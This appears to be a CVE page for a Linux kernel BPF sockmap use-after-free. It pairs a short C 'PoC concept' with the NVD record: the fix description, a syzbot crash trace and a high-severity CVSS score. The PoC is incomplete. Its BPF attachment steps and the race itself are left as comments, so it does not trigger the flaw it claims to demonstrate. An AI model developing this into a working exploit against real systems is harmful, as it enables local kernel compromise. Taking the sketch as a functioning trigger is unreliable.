CVE-2026-43016

/* * PoC Concept for CVE-2026-43016 * This code demonstrates the socket operations required to trigger the race. * Requires a kernel configuration with BPF and sockmap enabled. */ #include <sys/socket.h> #include <unistd.h> #include <linux/bpf.h> #include <errno.h> int main() { int sv[2]; int ret; // Step 1: Create a pair of AF_UNIX sockets ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sv); if (ret < 0) { perror("socketpair"); return 1; } // Step 2: Attacker needs to attach sockets to a sockmap via BPF syscall // This enables the sk_psock logic and the vulnerable verdict data_ready path. // Pseudo-code: bpf_map_update_elem(sockmap_fd, &key, &sv[0], BPF_ANY); // Pseudo-code: bpf_map_update_elem(sockmap_fd, &key, &sv[1], BPF_ANY); // Step 3: Trigger data transmission // The sender calls sendmsg, which invokes unix_stream_sendmsg char data[64] = "trigger"; send(sv[0], data, sizeof(data), 0); // Step 4: Concurrent close/orphan operation (Race Window) // Simulating the race where the peer socket is orphaned while // sk_psock_verdict_data_ready is accessing sk_socket. // close(sv[1]); close(sv[0]); close(sv[1]); return 0; }

{"cve": {"id": "CVE-2026-43016", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:45.677", "lastModified": "2026-05-07T20:31:20.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: sockmap: Fix use-after-free of sk->sk_socket in sk_psock_verdict_data_ready().\n\nsyzbot reported use-after-free of AF_UNIX socket's sk->sk_socket\nin sk_psock_verdict_data_ready(). [0]\n\nIn unix_stream_sendmsg(), the peer socket's ->sk_data_ready() is\ncalled after dropping its unix_state_lock().\n\nAlthough the sender socket holds the peer's refcount, it does not\nprevent the peer's sock_orphan(), and the peer's sk_socket might\nbe freed after one RCU grace period.\n\nLet's fetch the peer's sk->sk_socket and sk->sk_socket->ops under\nRCU in sk_psock_verdict_data_ready().\n\n[0]:\nBUG: KASAN: slab-use-after-free in sk_psock_verdict_data_ready+0xec/0x590 net/core/skmsg.c:1278\nRead of size 8 at addr ffff8880594da860 by task syz.4.1842/11013\n\nCPU: 1 UID: 0 PID: 11013 Comm: syz.4.1842 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026\nCall Trace:\n <TASK>\n dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xba/0x230 mm/kasan/report.c:482\n kasan_report+0x117/0x150 mm/kasan/report.c:595\n sk_psock_verdict_data_ready+0xec/0x590 net/core/skmsg.c:1278\n unix_stream_sendmsg+0x8a3/0xe80 net/unix/af_unix.c:2482\n sock_sendmsg_nosec net/socket.c:721 [inline]\n __sock_sendmsg net/socket.c:736 [inline]\n ____sys_sendmsg+0x972/0x9f0 net/socket.c:2585\n ___sys_sendmsg+0x2a5/0x360 net/socket.c:2639\n __sys_sendmsg net/socket.c:2671 [inline]\n __do_sys_sendmsg net/socket.c:2676 [inline]\n __se_sys_sendmsg net/socket.c:2674 [inline]\n __x64_sys_sendmsg+0x1bd/0x2a0 net/socket.c:2674\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7facf899c819\nCode: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007facf9827028 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00007facf8c15fa0 RCX: 00007facf899c819\nRDX: 0000000000000000 RSI: 0000200000000500 RDI: 0000000000000004\nRBP: 00007facf8a32c91 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007facf8c16038 R14: 00007facf8c15fa0 R15: 00007ffd41b01c78\n </TASK>\n\nAllocated by task 11013:\n kasan_save_stack mm/kasan/common.c:57 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:78\n unpoison_slab_object mm/kasan/common.c:340 [inline]\n __kasan_slab_alloc+0x6c/0x80 mm/kasan/common.c:366\n kasan_slab_alloc include/linux/kasan.h:253 [inline]\n slab_post_alloc_hook mm/slub.c:4538 [inline]\n slab_alloc_node mm/slub.c:4866 [inline]\n kmem_cache_alloc_lru_noprof+0x2b8/0x640 mm/slub.c:4885\n sock_alloc_inode+0x28/0xc0 net/socket.c:316\n alloc_inode+0x6a/0x1b0 fs/inode.c:347\n new_inode_pseudo include/linux/fs.h:3003 [inline]\n sock_alloc net/socket.c:631 [inline]\n __sock_create+0x12d/0x9d0 net/socket.c:1562\n sock_create net/socket.c:1656 [inline]\n __sys_socketpair+0x1c4/0x560 net/socket.c:1803\n __do_sys_socketpair net/socket.c:1856 [inline]\n __se_sys_socketpair net/socket.c:1853 [inline]\n __x64_sys_socketpair+0x9b/0xb0 net/socket.c:1853\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFreed by task 15:\n kasan_save_stack mm/kasan/common.c:57 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:78\n kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584\n poison_slab_object mm/kasan/common.c:253 [inline]\n __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285\n kasan_slab_free include/linux/kasan.h:235 [inline]\n slab_free_hook mm/slub.c:2685 [inline]\n slab_free mm/slub.c:6165 [inline]\n kmem_cache_free+0x187/0x630 mm/slub.c:6295\n rcu_do_batch kernel/rcu/tree.c:\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"node ... 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